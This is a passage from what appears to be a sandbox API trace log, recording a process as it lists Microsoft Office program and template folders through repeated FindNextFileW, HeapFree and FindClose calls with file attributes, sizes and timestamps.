cAlternateFileName="")) returned 0 [0252.112] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0252.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.113] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0252.131] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.131] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0252.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.162] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0252.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.190] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1 [0252.213] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0252.213] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0252.214] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0252.214] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0252.219] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0252.219] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1 [0252.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.231] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1 [0252.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.267] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0252.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.412] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0252.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.524] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1 [0252.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.648] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0252.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.664] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0253.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0253.805] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0253.805] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0253.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0253.807] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0253.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0253.809] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0253.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0253.810] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1 [0253.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0253.825] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0253.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0253.847] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0253.847] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0253.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0253.847] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0254.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0254.230] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0254.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0254.232] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0 [0254.232] FindClose (in: hFindFile=0x6eb630 | out: hFindFile=0x6eb630) returned 1 [0254.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0254.233] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0254.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0254.234] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1 [0254.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0254.234] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0254.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0254.234] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0254.234] FindClose (in: hFindFile=0x6ebc30 | out: hFindFile=0x6ebc30) returned 1 [0254.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0254.235] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0254.235] FindClose (in: hFindFile=0x6ebab0 | out: hFindFile=0x6ebab0) returned 1 [0254.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0254.235] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0254.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0254.237] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0254.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0254.238] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0254.238] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0254.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0254.238] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1 [0255.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.201] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0255.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.201] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0255.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.201] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0 [0255.202] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0255.202] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0255.202] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1 [0255.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0255.206] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0 [0255.206] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0255.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0255.206] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1 [0255.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0255.211] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, 